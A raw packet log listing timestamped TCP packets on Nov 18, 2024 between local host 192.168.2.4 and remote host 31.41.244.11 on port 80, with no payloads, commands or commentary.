Nov 18, 2024 23:04:16.306065083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306083918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.306093931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.306116104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.306859016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306893110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306929111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.306955099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.306982994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307563066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307617903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307653904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307677984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307708025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307708979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307744026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307780981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307796955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307815075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307832956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307864904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307868958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307903051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307950020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.307955980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.307990074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308023930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308039904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308058023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308093071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308109045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308125019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308144093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308160067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308182955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308191061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308204889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308224916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308265924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308279991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308317900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308321953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308351994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308365107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308387041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308420897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308434963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308458090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308470011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308492899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308501005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308531046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308559895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308583021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308620930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308649063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308681965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308717012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308739901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308751106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308779001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308806896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308810949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308845997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308878899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308900118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308912992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308931112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308948040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308964968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.308984041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.308985949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309037924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309072018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309088945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309118032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309124947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309159040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309192896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309215069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309233904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309243917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309279919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309287071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309320927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309371948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309375048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309408903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309452057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309487104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309498072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309515953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309521914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309542894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309556961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309560061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309595108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309628010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309645891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309664965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309676886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309710026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309751034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309784889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309808016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309818029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309828997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309853077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309886932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309907913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309921026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.309941053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.309973955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310008049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310029030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310043097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310064077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310096025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310097933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310132980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310165882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310183048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310200930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310233116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310252905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310266018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310288906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310301065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310321093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310336113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310340881 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310389042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310426950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310444117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310461998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310476065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310496092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310509920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310532093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310566902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310583115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310600996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310616016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310635090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310652018 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310682058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310688972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310726881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310760975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310777903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310795069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310810089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310828924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310843945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310863972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310877085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310900927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310910940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.310935974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310971022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.310992002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311005116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311023951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311039925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311057091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311075926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311110020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311125040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311146021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311156988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311197996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311337948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311368942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311393976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311402082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311424017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311438084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311446905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311471939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311484098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311506987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311517000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311541080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311574936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311594963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311603069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311625957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311636925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311659098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311672926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311678886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311702967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311737061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311760902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311772108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311781883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311825037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311871052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311878920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311932087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311968088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.311985970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.311996937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312007904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312031031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312041044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312064886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312077045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312099934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312109947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312134027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312171936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312186003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312206984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312239885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312268972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312273026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312295914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312303066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312329054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312336922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312349081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312371016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312390089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312406063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312414885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312442064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312480927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312489033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312519073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312520981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312553883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312576056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312587976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312609911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312619925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312634945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312654972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312665939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312689066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312704086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312724113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312757015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312783957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312789917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312810898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312824011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312858105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312880039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312890053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312911987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312925100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312944889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312959909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.312968969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.312994957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313028097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313041925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313060999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313072920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313097000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313108921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313132048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313179016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313189030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313242912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313271046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313293934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313303947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313317060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313338041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313344955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313368082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313381910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313401937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313414097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313440084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313472986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313493013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313505888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313524961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313540936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313558102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313574076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313586950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313606977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313641071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313659906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313669920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313695908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313703060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313730001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313738108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313752890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313771009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313806057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313821077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313834906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313851118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313885927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313920021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313946009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313949108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313957930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.313987017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.313999891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314023018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314033031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314059019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314095020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314111948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314132929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314146042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314171076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314183950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314204931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314218998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314240932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314260006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314275026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314291000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314307928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314321995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314337969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314352036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314372063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314407110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314421892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314440966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314455986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314476013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314487934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314510107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314543962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314564943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314578056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314596891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314613104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.314630985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.314646959 CET	80	49794	31.41.244.11	192.168.2.4
